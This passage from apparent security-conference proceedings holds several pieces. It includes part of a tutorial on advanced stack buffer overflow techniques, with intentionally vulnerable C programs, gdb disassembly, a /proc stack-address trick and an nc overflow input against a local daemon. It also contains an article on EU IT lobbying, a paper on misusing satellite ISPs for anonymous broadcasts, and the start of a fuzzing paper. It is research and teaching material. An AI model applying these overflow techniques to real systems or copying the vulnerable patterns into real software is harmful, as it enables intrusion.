implementation 0x080484cc <__do_global_ctors_aux+44>: 0x080484cd <__do_global_ctors_aux+45>: 0x080484ce <__do_global_ctors_aux+46>: 0x080484cf <__do_global_ctors_aux+47>: pop pop pop ret %eax %ebx %ebp But that's for a whole other story ... ;-) RET2EAX ------This method relies on the convention that functions uses EAX register to store the return value. The implementation of return values from functions and syscalls is done via the EAX register. This of course is another great service, so that a function that had buffer overflow in it is also kind enough to return back the buffer. We have EAX that contains a perfect potential return address to the shellcode. /* * vuln.c, Exotic strcpy() buffer overflow */ #include #include #include char *foobar(int arg, char *str) { char buf[256]; strcpy(buf, str); return str; 27 | } int main(int argc, char **argv) { foobar(64, argv[1]); return 1; } Again we return to the CRT function for salvation (gdb) disassemble __do_global_ctors_aux Dump of assembler code for function __do_global_ctors_aux: 0x080484a0 <__do_global_ctors_aux+0>: push %ebp 0x080484a1 <__do_global_ctors_aux+1>: mov %esp,%ebp 0x080484a3 <__do_global_ctors_aux+3>: push %ebx 0x080484a4 <__do_global_ctors_aux+4>: push %edx 0x080484a5 <__do_global_ctors_aux+5>: mov 0x80494f8,%eax 0x080484aa <__do_global_ctors_aux+10>: cmp $0xffffffff,%eax 0x080484ad <__do_global_ctors_aux+13>: mov $0x80494f8,%ebx 0x080484b2 <__do_global_ctors_aux+18>: je 0x80484cc 0x080484b4 <__do_global_ctors_aux+20>: lea 0x0(%esi),%esi 0x080484ba <__do_global_ctors_aux+26>: lea 0x0(%edi),%edi 0x080484c0 <__do_global_ctors_aux+32>: sub $0x4,%ebx 0x080484c3 <__do_global_ctors_aux+35>: call *%eax 0x080484c5 <__do_global_ctors_aux+37>: mov (%ebx),%eax 0x080484c7 <__do_global_ctors_aux+39>: cmp $0xffffffff,%eax 0x080484ca <__do_global_ctors_aux+42>: jne 0x80484c0 0x080484cc <__do_global_ctors_aux+44>: pop %eax 0x080484cd <__do_global_ctors_aux+45>: pop %ebx 0x080484ce <__do_global_ctors_aux+46>: pop %ebp 0x080484cf <__do_global_ctors_aux+47>: ret End of assembler dump. (gdb) The abstract implementation of '__do_global_ctors_aux' includes a sweet CALL instruction. And wins this match! RET2ESP ------This method relies on unique hex, representative of hardcoded values... or in other words, doubles meaning. Going back to basics: the basic data unit in computers is bits, and every 8 bits are converted to a byte. In the process, the actual bits never change, but rather the logical meaning. For instance, the difference between a signed and unsigned is up to the program to recognize the MSB as sign bit nor data bit. As there is no absolute way to define a group of bits, different interpretation becomes possible. The number 58623 might not be special at first glance, but the hex value of 58623 is. The representative hex number is FFE4, and FFE4 is translated to 'JMP %ESP' and that's special. As hardcoded values are part of the program actual code, this freaky idea becomes an actual solution. /* * vuln.c, Unique strcpy() buffer overflow */ #include #include | 28 ADVANCED BUFFER OVERFLOW METHODS int main(int argc, char **argv) { int j = 58623; char buf[256]; strcpy(buf, argv[1]); return 1; } Starting with disassembling it (gdb) disassemble main Dump of assembler code for function main: 0x08048384 : push %ebp 0x08048385 : mov %esp,%ebp 0x08048387 : sub $0x118,%esp 0x0804838d : and $0xfffffff0,%esp 0x08048390 : mov $0x0,%eax 0x08048395 : sub %eax,%esp 0x08048397 : movl $0xe4ff,0xfffffff4(%ebp) 0x0804839e : sub $0x8,%esp 0x080483a1 : mov 0xc(%ebp),%eax 0x080483a4 : add $0x4,%eax 0x080483a7 : pushl (%eax) 0x080483a9 : lea 0xfffffee8(%ebp),%eax 0x080483af : push %eax 0x080483b0 : call 0x80482b0 <_init+56> 0x080483b5 : add $0x10,%esp 0x080483b8 : leave 0x080483b9 : ret End of assembler dump. Tearing down [ ] to bytes (gdb) x/7b 0x08048397 0x8048397 : (gdb) 0xc7 0x45 0xf4 0xff 0xe4 0x00 Perform an offset (+2 bytes) jump to the middle of the instruction, interpreted as: (gdb) x/1i 0x804839a 0x804839a : jmp *%esp (gdb) Beauty is in the eye of the beholder, and in this case the x86 CPU ;-) Here's a tiny table of 16 bit values that includes 'FFE4' in it: ----------------------| VAL | HEX | S/U | +---------------+-----+ | 58623 | e4ff | S | | -6913 | e4ff | U | ----------------------Stack Stethoscope ----------------This method is designed to locally attack an already running process (e.g. daemons), its advantage comes from accessing the attacked process /proc entry, and using it for calculating the exact return address inside that stack. The benefit of exploiting daemon locally is that the exploit can, prior to attacking, browse that process /proc entry. Every process has a /proc entry 29 | which associated to the process pid (e.g. /proc/) and by default open to everybody. In practical, a file inside the proc entry called 'stat' include very significant data for the exploit, and that's the process stack start address. root@magicbox:~# cat /proc/1/stat | awk '{ print $28 }' 3213067536 root@magicbox:~# Taking this figure [ 3213067536 ] and converting to hex [ 0xbf838510 ] gives the process stack start address. This is significant to the exploit, as knowing this detail allows an alternative way to navigate inside the stack and predict the return address to the shellcode. Normally, exploits use absolute return addresses which are a result of testing on different binaries/distributions. Alternatively, calculating the distance of stack start address from the ESP register value after exploiting is equal to having the return address itself. /* * dumbo.c, Exploitable Daemon */ #include #include #include #include #include #include int main(int argc, char **argv) { int sock, addrlen, nsock; struct sockaddr_in sin; char buf[256]; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); if (sock < 0) { perror("socket"); return -1; } sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(INADDR_ANY); sin.sin_port = htons(31338); addrlen = sizeof(sin); if (bind(sock, (struct sockaddr *) &sin, addrlen) < 0) { perror("bind"); return -1; } if (listen(sock, 5) < 0) { perror("listen"); return -1; } nsock = accept(sock, (struct sockaddr *) &sin, &addrlen); if (nsock < 0) { perror("accept"); close(sock); | 30 ADVANCED BUFFER OVERFLOW METHODS return -1; } read(nsock, buf, 1024); close(nsock); close(sock); return 1; } Starting by running the daemon root@magicbox:/tmp# ./dumbo & [1] 19296 root@magicbox:/tmp# Now retrieving the process stack start address root@magicbox:/tmp# cat /proc/19296/stat | awk '{ print $28 }' 3221223520 root@magicbox:/tmp# Attaching to it, and putting a breakpoint prior to read() invocation (gdb) x/1i 0x08048677 0x8048677 : call (gdb) break *main+323 Breakpoint 1 at 0x8048677 (gdb) continue 0x8048454 <_init+184> Shooting it down root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 31338 Going back to the debugger, to check on 'buf' pointer Breakpoint 1, 0x08048677 in main () (gdb) x/a $esp+4 0xbffff694: 0xbffff6b0 (gdb) Now it comes down to a simple math 0xbffff860 0xbffff6b0 ---------432 bytes So by subtracting the stack start address from the buf pointer, we got the ratio between the two. Now, using this data, an exploit can generate a perfect return address. Contact ------Izik [or] http://www.tty64.org 31 | A guided tour to European IT lobbying An investigation into intransparency André Rebentisch 33 | Eine Führung in das europäische IT-Lobbying André Rebentisch∗ 1 Zu den Quellen steigen 1.1 Kickstart Für einen IT-Lobbyisten springt das Kongressmotto Private Investigations auf mindestens zwei verschiedenen Assoziationsböden: zum ersten begleitet private Ermittlung die Verfolgung von Rechtsverletzungen, und die entsprechenden gesetzlichen Möglichkeiten werden derzeit unter massivem Druck in der EU erweitert. Zum zweiten verfügen wir Netzbürger nunmehr über Recherchemöglichkeiten, die einst nur staatliche Nachrichtendienste umwitterten. Das Internet öffnet neue Kanäle zur Partizipation, schafft mehr Transparenz und verändert die Kommunikationsbeziehungen zwischen Akteuren und Institutionen. Auch sehr spezielle Interessengruppen1 erreichen jetzt dank des Internets die kritische Masse. Ob eMail, www, Mailingliste, Wikis oder Blogs - der Einfluss dieser Mittel wird hoch gepriesen und doch unterschätzt. Die Internetinnovation wirkt als eine Art sozialrevolutionäre Kraft unserer Zeit. Deshalb sind elektronische Medien auch Gegenstand von Interessenkonflikten, bei denen eine Regulierung über die strukturellen Weichenstellungen für die Zukunft entscheidet. Betont werden müssen diese Banalitäten, weil viele politische Entscheidungsträger bislang die allgemeinpolitische Relevanz verkennen. Für sie geht es nur um Themen für ”Computerfreaks” oder die Dienstleistungsanbieter2 . Gute Nachricht: Auf der EU-Ebene ist alles anders. 1.2 Vertikal versus horizontal Traditionelle Politik ist hierarchisch organisiert und im Raum verortet. Ortsverbände, Landesverbände, Fraktionen, parteinahe Arbeitskreise und Stiftungen usw. Wer in diesen Strukturen agieren will, muss Bündnisse schmie∗ Vielen Dank an Laurence Vandewalle Man denke an die obskure Frage nach den angemessenen Schutzinstrumenten für Software. Mehr als 400 000 Netzbürger zeichneten z.B. die no ePatents-Petition der EurolinuxAllianz. Die gesamte Kampagne wäre ohne eine Vernetzung unmöglich gewesen. Auch der FFII-Newsfeed bringt fast täglich Nachrichten zu diesem Exotenthema. 2 Gleich wie Malerei aus Sicht der Farbenhersteller zu beleuchten. 1 1 | 34 A GUIDED TOUR TO EUROPEAN IT LOBBYING den. Hierarchien, Befindlichkeiten und Ressourcenstreite blockieren die Kommunikationswege für die Sache und eine angemessene Entfaltung. Weil es schwierig ist, eine allgemeinpolitische Relevanz zu destillieren, liegen IT-Themen regelmäßig unterhalb der politischen Wahrnehmungsschwelle. Neuen Medien-Themen haben den Ruf eines Sandkastens für engagierte Jungpolitiker, die als eine Art alternativer Rundordner bei Bürgeranfragen bedient werden und bei anstehenden Entscheidungen ausgegrenzt sind. Die Interessenvertreter agieren horizontal. Sie kooperieren und diskutieren mit relevanten Entscheidern aller Parteien und Ebenen. Socialising und politische Ideologien sind für sie primär instrumentell. Von den Beschränkungen des personen- und gemeinschaftsorientierten Stils mit einer Abgrenzung bzw. Abschottung zum politischen Gegner bleibt der Lobbyist frei. Horizontal kann freier agiert werden, weil um keine politische Ämter konkurriert wird. Es geht um die Sache. 1.3 Dokumente, Rechtsakte und andere Quellen Es herrscht kein Mangel an Informationen über die Europäische Union. Die zahllosen redundanten Informationsdienste dienen vorrangig der Verankerung der Institutionen im Bewusstsein der Bürger. Interessanter ist die Bürokratie der Europäischen Union und ihre mehrsprachige Dokumentproduktion. Während auf der saturierten nationalen Ebene Gesetze geändert werden, steht EU-Recht im Zeichen der gemeinschaftlichen Erstregulierung3 . Um von Vorhaben zu erfahren, sollten regelmäßig die Dokumentdatenbanken und Nachrichtendienste überprüft werden. Innerhalb eines Rechtssetzungsverfahrens entstehen in der EU zahllose Dokumente. Positiv ist, dass die EU quasi-schwedischen Informationsfreiheitsstandards unterliegt. Trotzdem macht die Komplexität der Institutionen, der Verfahren und Entscheidungsgremien die EU ausgesprochen intransparent. Erfahrung und detektivisches Gespür sind nötig. Für Dokumente gibt es verschiedene europäische Datenbanken: • Datenbank des EU-Parlamentes4 und OEIL5 • Datenbank der Kommission für COM und SEC6 und PRE-LEX7 • Registratur des Ministerrates8 • Verabschiedetes Recht: EUR-LEX9 3 Harmonisieren und Klarstellen im EU-Sprech http://www.europarl.eu.int/registre/recherche/RechercheSimplifiee.cfm 5 http://www.europarl.eu.int/oeil/ 6 http://europa.eu.int/comm/secretariat general/regdoc/registre.cfm?CL=en 7 http://www.europa.eu.int/prelex/apcnet.cfm?CL=en 8 http://ue.eu.int/cms3 fo/showPage.asp?lang=EN&id=254&mode=g&name= 9 http://europa.eu.int/eur-lex/lex/en/index.htm 4 2 35 | Die kryptische Kennung10 eines Vorganges zum Beispiel KOM(2005) 276 und der genaue Titel helfen, die zugehörigen Dokumente zu finden. Aus diesen Kennungen lässt sich zum Teil auch der damit befasste Akteur der Kommission ermitteln.11 Die Registratur des Ministerrates ist für die Freie Suche am besten geeignet. Keine dieser Datenbanken ist Google-indiziert, und die Dokumente lassen sich schwer wiederfinden. Deshalb sollte man immer relevante Dokumente z.B. auf einem ftp-Server spiegeln, und die Verweise über ein Wiki sammeln12 . Registrierte und nicht verfügbare Dokumente können angefragt werden, was positiv oder abschlägig beschieden wird. In vielen Fällen führt die Registrierung dazu, dass etwa auch Schreiben Dritter an den Parlamentspräsidenten oder informelle Arbeitsdokumente verfügbar sind. Wegen der prozeduralen Besonderheiten ist es früher oder später sinnvoll, sich mit den Verfahrensregeln zu befassen.13 Die entsprechenden Helpdesks beantworten sehr gewissenhaft und neutral Fragen. Solche Antworten sind nützlich für die nationalen Ebene, weil Regierungsvertreter in den Parlamenten häufig eine bemerkenswerte Ahnungslosigkeit bzgl. der Verfahrensregeln14 offenbaren. Das gilt vor allem für den Ministerrat15 und dessen A- und B-Tagesordungspunkte. 2 Sich einbringen 2.1 Vorsicht Verhinderung! Interessen, die am Verhandlungstisch fehlen, haben kaum Chance auf Berücksichtigung. Bei vielen Regulierungsvorhaben organisieren sich bald Gegenbewegungen. In der Softwarepatentfrage drängte man uns in diese Rolle. Der strategische Vorteil ist die Argumentation mit einer Bedrohungslage, die leicht Unterstützer mobilisiert. Der strategische Nachteil ist die Negativität der Vision. Wer Contra sagt, sagt es als Zweiter. Die Verhinderungs- und Protestrhetorik hat geringen Charme für Entscheidungsträger, weil sie immer zum Stillstand anregt. Zu diesem inhärenten Konservatismus einer Protesthaltung tritt die Präsentation als unterlegene Partei. Wer mit den für Medienresonanz so attraktiven big guy-small guy Schemata spielt, darf sich nicht wundern, wenn er möglicherweise zu Unrecht als unterlegener small guy wahrgenommen wird, und er seinen Interessengegner erst zum big guy aufbläst. Alle Sympathie gilt den Schwachen, aber 10 http://wiki.ffii.org/EuSymDemystEn http://europa.eu.int/comm/staffdir/plsql/gsys tel.display search?pLang=EN 12 z.B. http://www.ffii.org/SwpatLegDocsEn 13 http://europa.eu.int/eur-lex/lex/en/treaties/index.htm 14 http://wiki.ffii.org/RulesOfProcedureEn 15 http://europa.eu.int/smartapi/cgi/sga doc?smartapi!celexapi! prod!CELEXnumdoc&lg=EN&numdoc=32004D0338&model=guichett 11 3 | 36 A GUIDED TOUR TO EUROPEAN IT LOBBYING machtbewusste Akteure halten sich eher an Starke. Ein gefährliches Spiel, denn das Zweite ist die systemdominante Strategie. Es ist deshalb stets wichtig anzunehmen, dass sich eine Sache gewinnen lässt, und nichts zu verlieren ist. Ausserdem lässt sich das Spiel der Negativität beliebig umkehren. 2.2 Zugang YourVoice 16 ist ein Portal der Kommission für Konsultationen. Die Liste der dort erwähnten Konsultationen ist in der Regel unvollständig, aber die einzelnen Generaldirektionen pflegen ihre eigenen, aktuelleren Konsultationsseiten, die von dort aus zu erreichen sind. Es gilt zu unterscheiden zwischen suggestiv gestalteten Meinungsumfragen und freieren Konsultationen, bei denen Stellungnahmen, mit zumeist vorgegebenen Fragen, zu einem Begleitdokument eingereicht werden dürfen. Je nach dem Charakter des Dokumentes können das allgemein gehaltene Interessenbekundungen oder substanzielle Änderungsvorschläge sein. Die Konsulationen sind Hinweise auf folgende Regulierungsvorhaben und ein Startzeichen für die eigene Lobbykampagne. Der Europäische Bürgerbeauftragte 17 ist geeignet, sofern es um falsch angewandtes EU-Recht geht und der Dienstweg ausgeschöpft ist. Für Rechtssetzung ist der Bürgerbeauftragte in den meisten Fällen der falsche Ansprechpartner. Eine hohe Zahl an Eingaben bestätigt seine Funktion, aber die wenigen erfolgreich beschiedenen Fälle stellen sie in Frage. Petitionen an das Europäische Parlament18 oder an die nationalen Parlamente sind dagegen eine gute Möglichkeit zu einer Eingabe, die als formaler Vorgang dem Petitionsausschuss vorliegt. Sie bieten sich vor allem dann an, wenn kein Zugang zum Parlament besteht. Es muss mit einer Bearbeitungszeit von sechs Monaten und länger gerechnet werden. Das kann bei laufenden Gesetzgebungsverfahren zu lang sein. Es ist stets besser sich direkt an Parlamentarier, vor allem die Berichterstatter und MdEPs aus den befassten Ausschüssen, zu wenden. Europaparlamentarier haben einen relativ starren Terminkalender mit Sitzungen in Straßburg, in Brüssel und einer Präsenz in den Heimatwahlkreisen. In ihren Wahlkreisen gibt es regelmäßig Sprechstunden. An allen drei Orten sind Büros besetzt. Grundsätzlich lassen sich auch Termine in Brüssel oder nur mit den Mitarbeitern ausmachen. Neben den Möglichkeiten zur Abstimmung in Plenum und Ausschüssen, zum Einbringen von Änderungsanträgen, haben die Parlamentarier die Gelegenheit zu Parlamentarischen Anfragen an die Institutionen. Diese sind in der Regel recht oberflächlich verfasst, aber erzwingen offizielle Stellungnahmen. Für Änderungsanträge (”Richtlinienpatches”) sind die MdEPs auf operationale Hilfe der Interes16 http://europa.eu.int/yourvoice/consultations/index en.htm http://wiki.ffii.org/EuroOmbudsmanEn 18 http://www.europarl.eu.int/parliament/public/staticDisplay.do?id=49&language=EN 17 4 37 | senvertreter angewiesen. Die Änderungsanträge sollten möglichst frühzeitig erarbeitet sein, da im Normalfall nach der ersten Lesung keine Möglichkeiten mehr bestehen. Das Parlament hat kein Vorschlagsrecht, und es teilt sich die Rolle als Legislative mit dem Ministerrat (Vertreter der nationalen Regierungen). Die Kommission wurde nicht von ihm gewählt. Nationale Parlamente haben unzureichende Kontrollmöglichkeiten auf den intransparenten Ministerrat. Auch aus diesen institutionellen Gründen sind die europäischen Parlamentarier sehr aufgeschlossen. Fraktionszwang spielt eine untergeordnete Rolle und erstreckt sich in vielen Fällen auf eine fragile Loyalität zur nationalen Gruppe oder zum fraktionseigenen Berichterstatter respektive Spezialisten. 2.3 Lobbyumfeld Eine große Bedeutung haben deshalb interfraktionelle Akteure. In der ITPolitik ist das z.B. die European Internet Foundation19 , die nach dem Modell ähnlicher Organisationen jenseits des Atlantiks gestaltet ist. Eine vergleichbare Einflussnahme, auf die Kommission gerichtet, geht von Lobbyaggregatoren wie den Friends of Europe20 aus. Diese Beispielakteure haben in vergangenen IT-Regulierungsvorhaben einen großen Einfluss ausgeübt. Die EIF versammelte in den letzten Jahren verschiedene parlamentarische Kernakteure aus den Ausschüssen zu einer quasi-konspirativen Allianz. Unabhängig von der Übereinstimmung ist es hilfreich, die Websites und Agenda solcher Vereinigungen oft zu überprüfen. Das gilt auch für die Websites anderer involvierter Lobbygruppen - der regelmässige Google-Ritt ist ein Muss. Für Lobbyingtransparenz bzgl. amerikanischer Akteure ist Sourcewatch21 eine gute Quelle. Viele Lobbyisten sind beim europäischen Parlament namentlich akkreditiert.22 Unter Kommissar Kallas arbeitet die EU an einer neuen Transparenzinitiative23 . Erfahrungsgemäß hilft es, fremde Lobbyingaktivitäten in einem Wiki umfangreich zu dokumentieren24 . Traditionelle Lobbyisten können mit Netzöffentlichkeit kaum umgehen. Bei diskretionsgewohnten Akteuren führte unerwartete Transparenz zu spektakulären lobbyistischen Fehlschlägen.25 Die Kunst der Informationsbeschaffung garantiert unschätzbare Vorteile. Eine Überlegenheit können gerade jene ausspielen, die sich gut mit dem Rechner auskennen und z.B. ihre Unix-Toolchain beherrschen. Herkömmliche Interessenvertreter unterliegen in einem asymetrischen Interessenkampf und müssen sich regelmäßig von Amateuren vorführen lassen. 19 http://www.eifonline.org http://www.friendsofeurope.org 21 http://www.sourcewatch.org 22 http://www.europarl.eu.int/parliament/expert/lobbyAlphaOrderByOrg.do?language=EN 23 http://europa.eu.int/comm/commission barroso/kallas/transparency en.htm 24 http://wiki.ffii.org/index.cgi?action=plugin&plugin name=SiteMap (langsam) 25 z.B. die Fälle Hunzinger 2002 oder Wier (MS Denmark) 2005. 20 5 | 38 Anonymous Data Broadcasting by Misuse of Satellite ISPs An open-source project to develop a tool for broadband satellite broadcasts Sven Löschner 39 | Anonymous Data Broadcasting by Misuse of Satellite ISPs André Adelsbach, Ulrich Greveler and Sven Löschner Horst Görtz Institute for IT Security Ruhr-University Bochum e-mail: {andre.adelsbach, ulrich.greveler, sven.loeschner}@rub.de December 1, 2005 Abstract Satellite ISPs connect users to the Internet by means of satellite communication. In this paper we discuss how to misuse satellite ISPs to allow any subscribed user to broadcast arbitrary content to a group of anonymous receivers. Exploiting the fact that the satellite downstream signal, containing the data requested by a user, is not only sent to this specific user only, but can be received in the whole footprint of the satellite we show how to broadcast certain data for an unlimited number of potential receivers. We conclude with open issues and future strands of work, such as sender anonymity. 1 Introduction A satellite is a specialised wireless transmitter placed in terrestrial orbit for diverse purposes such as weather forecasting, television broadcast, radio communications, Internet access and GPS positioning. Satellites can receive and re-transmit thousands of signals simultaneously, from simple digital data to television programmes. Especially, in low-infrastructure areas they provide an interesting alternative, e.g., for high-speed access to the Internet, because they provide high data rates and cover very large areas with comparably low efforts. The data packets in the downstream are broadcasted which makes it easy to receive the data of all users, not only the data packets for a specific user. Every person owning a DVB-S card and a digital enabled satellite dish is able to intercept all the data packets sent by the satellite. There are publicly available tools to watch data stream information in human readable form [7]. Moreover, interception of unsecured satellite signals for intelligence purposes is on the public agenda since the nineties [2]. | 40 ANONYMOUS DATABROADCASTING BY SATELLITE ISPS Our Contribution In this paper we describe a way how an end-user can use (or mis-use) an satellite ISP to anonymously broadcast large amounts of data. The only pre-requisite for the sender is an ISP subscription and some necessary hardware (DVB-card, satellite dish). The anonymous receivers only need this hardware, there is no requirement for a subscription or Internet access at all. Related Work The first proposal for anonymous (Internet) communication was published by David Chaum [3]. In his work so-called MIX servers are described that use layered encryption for cascading information via several servers in a way that an attacker cannot trace messages to a certain sender or receiver as long as he cannot control all the servers in the MIX network. Another approach for anonymous network communication is based on the peer-to-peer paradigm. A well-known system in this context is Crowds by Reiter and Rubin [9]. Here, http-requests are relayed via a chain of participating users’ computers before being sent to the target web server. Responses are relayed backwards via the same chain to the anonymous user. FreeHaven [5] and Freenet [4] are distributed systems for anonymous and persistent data storage being robust against attempts to find and delete any stored data. Tarzan [6] is a fault-tolerant peer-to-peer anonymous IP network overlay being transparent to applications. Many other proposals regarding anoymous Internet communication can be found in [8]. 2 Satellite ISPs Satellite based ISPs come in two flavours: • One-Way: In this lower cost variant, the satellite only handles the data downstream to the user with outbound data travelling through a telephone modem taking care of the low-bandwidth traffic from the user to the ISP. Most users only desire a high download bandwidth while they accept a rather small uplink capacity so this hybrid solution satisfies their needs. • Two-Way: The more expensive two-way option lets the user have a satellite transmitter entity at their site that enables two-way communication with high bandwidth for up-link and down-link.1 This option is more suitable for companies connecting their remote branches to a data network. In this work we focus on the one-way variant, because it is more common for standard users today.2 To illustrate how one-way satellite-based ISPs 1 Note, that the up-link bandwidth is commonly still smaller than the down-link bandwidth. 2 However, we want to stress that our proposal is even more suitable for two-way satellite communication, as the ISP has to broadcast all packets via the satellite down-link. 41 | operate, consider the setting, where a user wants to download a MP3 file from some web server. A user establishes a small bandwidth dial-up Internet connection, e.g., an ISDN line, to the ISP. In order to initiate a download a request is sent through the dial-up line to an ISP proxy server, which relays the request to the desired destination. The reply coming from the server (e.g., the requested file) is re-routed by the satellite ISP so that it will not come back to the user’s PC through the dial-up line. Instead it is encapsulated together with the user’s specific IP address into a signal based on the DVB standard and the ISP ground station relays it to the satellite. The satellite broadcasts it back to the user who is running a piece of software on his PC which completes the TCP communication transparently to the application or operating system. Due to the broadcast character of satellite, the signal dedicated for this user can be received by anyone in the footprint of the satellite. In following section we describe how to (mis-)use a satellite ISP to broadcast to a large set of anonymous receivers. 3 Anonymous Data Broadcasts Our basic idea is quite trivial, but very effective: we exploit the fact, that the satellite downstream, containing the data requested by the user, can be received in the whole footprint of the satellite. To broadcast certain data, e.g., a MP3 file, the sender first sends it to a dedicated server, which is connected to the Internet. Then the sender requests this data over the satellite ISP, which results in the data being broadcasted by the satellite ISP. The potential receivers simply listen to the satellite broadcast and filter the data, e.g., by implicit addresses.3 Obviously, this system achieves unconditionally strong receiver anonymity due to the nature of a broadcast channel. Our system works immediately if the satellite ISPs does not encrypt the broadcasted data. If the satellite ISP encrypts the satellite downstream using individual keys for each user, the system works as well, but is more involved: in this case the sender has to publish his session key, such that it is anonymously accessible by the receivers and enables receivers to decrypt the user’s part of the satellite downstream. We cannot go into the details of this, because it strongly depends on the actual implementation of the ISP proxy software and would require illegal reverse engineering of this software. Fortunately, this effort is not necessary, as long as there are satellite ISPs which do not encrypt the satellite downstream (see e.g., [1]). In the following we will discuss selected details of our proposal and how we implemented them in our Java prototype. 3 An implicit address is an address, which allows nobody but the actual addressee to recognize that some message is addressed to him. Implicit addresses may be achieved by means of encryption of the broadcasted data, which, at the same time, achieves confidentiality of the broadcasted data. | 42 ANONYMOUS DATABROADCASTING BY SATELLITE ISPS Sender and Server The prototype of our sender first prepares the file the user wants to broadcast. Preparation involves splitting the file into chunks of constant size and encrypting each chunk. For encryption we use the Bouncy Castle crypto package [10], which offers a large variety of crypto algorithms. In particular, our prototype uses symmetric AES encryption, which may also serve as an invisible implicit address. For the first prototype we decided to add an explicit address, because it allows receivers to filter more efficiently (see below).4 Key management is currently not implemented, i. e., we require that the sender and the receivers have exchanged a key beforehand. Using standard HTTP(S), the sender uploads the encrypted chunks to the server (Fig. 1, step 1). For the upload functionality and sender GUI we extended the Winie network utility. This tool has been developed by W3C and is tailored to putting, getting and deleting files on a Jigsaw web server using the Jigsaw client side API [11]. The server is implemented on top of the W3C open source Jigsaw web server platform. We selected Jigsaw because it is lightweight, completely implemented in Java and has a modular architecture. The latter makes it very easy to extend the server’s functionality: Using its HeaderFilter-class we can easily add the specific receiver ID to the HTTP-header. After successful upload, indicated by a positive acknowledgement, the user can initiate the broadcast of his data. When the user clicks the start broadcast-button the sender software initiates the broadcast by sending a HTTP-request for his uploaded packets to its local proxy (Fig. 1, step 2), which forwards it to the ISP proxy via the dial-up connection (Fig. 1, step 3). The proxy of the ISP forwards the request to the server (Fig. 1, step 4). When the server receives the HTTP-request it answers by sending the requested packets to the ISP’s proxy (Fig. 1, step 5). Now the satellite ISP forwards these packets to the satellite (Fig. 1, step 5), which broadcasts these packets encapsulated in a DVB stream (Fig. 1, step 7). Receiver The receiver prototype uses the jpcap class package to capture IP packets from the DVB network interface, as provided by the tool dvbnet. Using this package the receiver software filters the IP packets being received on the DVB network interface by the IDs associated with the receiver. Captured packets are decrypted and temporarily stored. When all chunks have been received, they are joined again, which yields the complete file. 4 Conclusion and Future Directions In this paper we proposed a practical way to achieve low-cost satellite broadcasts by misusing a satellite ISP. A first proof-of-concept prototype implementation was presented. Possible applications include file sharing, Internet radio or instant messaging. 4 The price we have to pay for this is that broadcasts to the same group of receivers become linkable. 43 | Figure 1: Anonymous data broadcasts via satellite There are several open issues, which have to be addressed in future work. While unconditionally strong receiver anonymity follows trivially by the nature of a broadcast channel, achieving sender anonymity is more involved and requires a more advanced system design: one idea is to run a common server, where potential senders upload their encrypted data packets via some traditional point-to-point anonymizer. Now, instead of requesting its own packets, each sender requests random packets from the server, i. e., the party requesting a certain packet and, thereby initiating its broadcast, is different from the originator of this packet. This guarantees that nobody - not even the server - can tell who is the originator of a specific packet.5 We consider this issue to be an important and challenging strand of future work. Another technical hurdle, requiring further attention is the high error rate of a broadcast downstream. Here, we need adequate redundancy to achieve robust broadcasts while causing minimal overhead. A related technical hurdle is that part of the requested data is returned via the low latency point-to-point dial-up (e.g., ISDN) connection, without being broadcasted. This problem may be solved by not acknowledging packets received over the dial-up connection, but requires further attention. For the future we pro5 Obviously, the sender anonymity set only consists of those ISP customers requesting packets from this server and is significantly smaller than the receiver anonymity set. | 44 ANONYMOUS DATABROADCASTING BY SATELLITE ISPS pose an open-source project to continue the development of our prototype. If you are interested in the future development of this system feel free to contact us. References [1] Andre Adelsbach and Ulrich Greveler. Satellite communication without privacy – attacker’s paradise. In Hannes Federrath, editor, Sicherheit, volume 62 of LNI. GI, 2005. [2] Duncan Campbell. Interception capabilities 2000. Report to the Director General for Research PE 168.184, European Parliament, 1999. [3] David Chaum. Untraceable electronic mail, return addresses, and digital pseudonyms. Communications of the ACM, 4(2), February 1981. [4] Ian Clarke, Oskar Sandberg, Brandon Wiley, and Theodore W. Hong. Freenet: A distributed anonymous information storage and retrieval system. In Proceedings of Designing Privacy Enhancing Technologies: Workshop on Design Issues in Anonymity and Unobservability, pages 46–66, July 2000. [5] Roger Dingledine, Michael J. Freedman, and David Molnar. The free haven project: Distributed anonymous storage service. In H. Federrath, editor, Proceedings of Designing Privacy Enhancing Technologies: Workshop on Design Issues in Anonymity and Unobservability. Springer-Verlag, LNCS 2009, July 2000. [6] Michael J. Freedman and Robert Morris. Tarzan: A peer-to-peer anonymizing network layer. In Proceedings of the 9th ACM Conference on Computer and Communications Security (CCS 2002), Washington, DC, November 2002. [7] GNU General Public License. Dvbsnoop: a DVB / MPEG stream analyzer program. http://dvbsnoop.sourceforge.net. [8] Free Haven Project. Anonymity http://www.freehaven.net/anonbib/bibtex.html. bibliography. [9] Michael Reiter and Aviel Rubin. Crowds: Anonymity for web transactions. ACM Transactions on Information and System Security, 1(1), June 1998. [10] The Legion of the Bouncy Castle. http://www.bouncycastle.org/. Bouncy castle crypto APIs. [11] W3C. Jigsaw - W3C’s Server. http://www.w3.org/Jigsaw/. 45 | Autodafé: An Act of Software Torture Presentation of an innovative buffer overflow uncovering technique called "Fuzzing by Martin Vuagnoux 47 | Autodafé: an Act of Software Torture Martin Vuagnoux Swiss Federal Institute of Technology (EPFL) – LASEC martin.vuagnoux@epfl.ch October 1, 2005 Abstract Automated vulnerability searching tools have led to a dramatic increase of the rate at which such flaws are discovered. One particular searching technique is fault injection – i.e. insertion of random data into input files, buffers or protocol packets, combined with a systematic monitoring of memory violations. Even if these tools allow to uncover a lot of vulnerabilities, they are still very primitive; despite their poor efficiency, they are useful because of the very high density of such vulnerabilities in modern software. This paper presents an innovative buffer overflow uncovering technique, which uses a more thorough and reliable approach. This technique, called “fuzzing by weighting attacks with markers”, is a specialized kind of fault injection, which does not need source code or special compilation for the monitored program. As a proof of concept of the efficiency of this technique, a tool called Autodafé has been developed. It allows to detect automatically an impressive number of buffer overflow vulnerabilities. keywords: fuzzer, buffer overflow, weighting attacks with markers technique, fault injection, autodafe. 1 Introduction 1.1 Buffer Overflows When programming in a high-level language, like C, variables are declared using data type. These data types can range from integer to characters to custom userdefined structures. One reason this is necessary is to properly allocate space for each variables. C assumes that the programmer is responsible for data integrity. If this responsibility was shifted to the compiler, the resulting binaries would be significantly slower (Java, Perl, Python, C#, etc.), due to integrity checks on every variable. Also, this would remove a significant level of control from the programmer. This feature increases the programmer’s control and the efficiency of the resulting programs. But it can also reduce the reliability and the security of the programs. If a programmer want to write ten bytes of data in a buffer of only two 